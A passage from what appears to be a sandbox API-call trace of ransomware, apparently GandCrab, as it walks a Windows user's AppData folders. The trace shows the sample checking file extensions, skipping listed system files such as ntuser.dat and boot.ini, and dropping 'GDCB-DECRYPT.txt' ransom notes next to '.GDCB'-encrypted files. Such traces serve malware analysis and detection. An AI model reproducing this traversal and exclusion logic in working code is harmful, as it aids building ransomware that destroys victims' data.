lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16" [0135.530] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16") returned 80 [0135.530] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.530] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.530] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.530] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\GDCB-DECRYPT.txt" [0135.530] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\GDCB-DECRYPT.txt") returned 94 [0135.530] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.530] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.530] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.530] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.530] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\\\GDCB-DECRYPT.txt") returned 95 [0135.530] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\1033\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.530] GetLastError () returned 0x50 [0135.530] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.531] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\") returned 78 [0135.531] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*" [0135.531] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7980 [0135.531] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.531] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.531] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.531] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.531] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.531] lstrcmpW (lpString1="16", lpString2=".") returned 1 [0135.531] lstrcmpW (lpString1="16", lpString2="..") returned 1 [0135.531] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16" [0135.531] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\" [0135.531] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.531] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.531] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\") returned 81 [0135.531] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*" [0135.531] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c79c0 [0135.532] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.532] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.532] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.532] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.532] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.532] lstrcmpW (lpString1="Built-In Building Blocks.dotx.GDCB", lpString2=".") returned 1 [0135.532] lstrcmpW (lpString1="Built-In Building Blocks.dotx.GDCB", lpString2="..") returned 1 [0135.532] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="Built-In Building Blocks.dotx.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.GDCB" [0135.532] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.GDCB") returned 115 [0135.532] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.532] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.532] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.532] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.532] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\GDCB-DECRYPT.txt" [0135.532] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\GDCB-DECRYPT.txt") returned 97 [0135.532] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.532] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.532] FindClose (in: hFindFile=0x2c79c0 | out: hFindFile=0x2c79c0) returned 1 [0135.532] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.532] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\\\GDCB-DECRYPT.txt") returned 98 [0135.532] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.533] GetLastError () returned 0x50 [0135.533] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.533] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\") returned 81 [0135.533] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*" [0135.533] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c79c0 [0135.533] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.533] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.533] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.533] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.533] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.533] lstrcmpW (lpString1="Built-In Building Blocks.dotx.GDCB", lpString2=".") returned 1 [0135.533] lstrcmpW (lpString1="Built-In Building Blocks.dotx.GDCB", lpString2="..") returned 1 [0135.533] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="Built-In Building Blocks.dotx.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.GDCB" [0135.533] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.533] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.GDCB") returned 115 [0135.534] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.GDCB") returned 115 [0135.534] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.534] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.534] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.534] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.534] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\GDCB-DECRYPT.txt" [0135.534] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.534] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\GDCB-DECRYPT.txt") returned 97 [0135.534] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\GDCB-DECRYPT.txt") returned 97 [0135.534] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\GDCB-DECRYPT.txt") returned 97 [0135.534] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\GDCB-DECRYPT.txt") returned 97 [0135.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.534] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.534] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0135.534] FindClose (in: hFindFile=0x2c79c0 | out: hFindFile=0x2c79c0) returned 1 [0135.534] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.534] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.534] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.534] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\GDCB-DECRYPT.txt" [0135.534] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.535] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\GDCB-DECRYPT.txt") returned 94 [0135.535] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\GDCB-DECRYPT.txt") returned 94 [0135.535] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\GDCB-DECRYPT.txt") returned 94 [0135.535] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\GDCB-DECRYPT.txt") returned 94 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.535] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.535] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.535] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.535] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.535] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.535] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.535] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\GDCB-DECRYPT.txt" [0135.535] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.535] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\GDCB-DECRYPT.txt") returned 89 [0135.535] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\GDCB-DECRYPT.txt") returned 89 [0135.535] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\GDCB-DECRYPT.txt") returned 89 [0135.535] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\GDCB-DECRYPT.txt") returned 89 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.535] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.536] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.536] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.536] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.536] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.536] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.536] lstrcmpW (lpString1="Excel", lpString2=".") returned 1 [0135.536] lstrcmpW (lpString1="Excel", lpString2="..") returned 1 [0135.536] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Excel" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel" [0135.536] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\" [0135.536] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.536] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.536] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\") returned 54 [0135.536] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*" [0135.536] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7640 [0135.537] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.537] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.537] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.537] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.537] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.537] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.537] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.537] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\GDCB-DECRYPT.txt" [0135.537] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\GDCB-DECRYPT.txt") returned 70 [0135.537] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.537] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.537] lstrcmpW (lpString1="XLSTART", lpString2=".") returned 1 [0135.537] lstrcmpW (lpString1="XLSTART", lpString2="..") returned 1 [0135.537] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="XLSTART" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" [0135.537] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned 61 [0135.537] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.537] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.537] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.538] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\\\GDCB-DECRYPT.txt") returned 71 [0135.538] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\excel\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.538] GetLastError () returned 0x50 [0135.538] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.538] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\") returned 54 [0135.538] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*" [0135.538] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7780 [0135.538] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.538] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.538] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.538] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.538] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.538] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.538] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.538] lstrcatW (in: 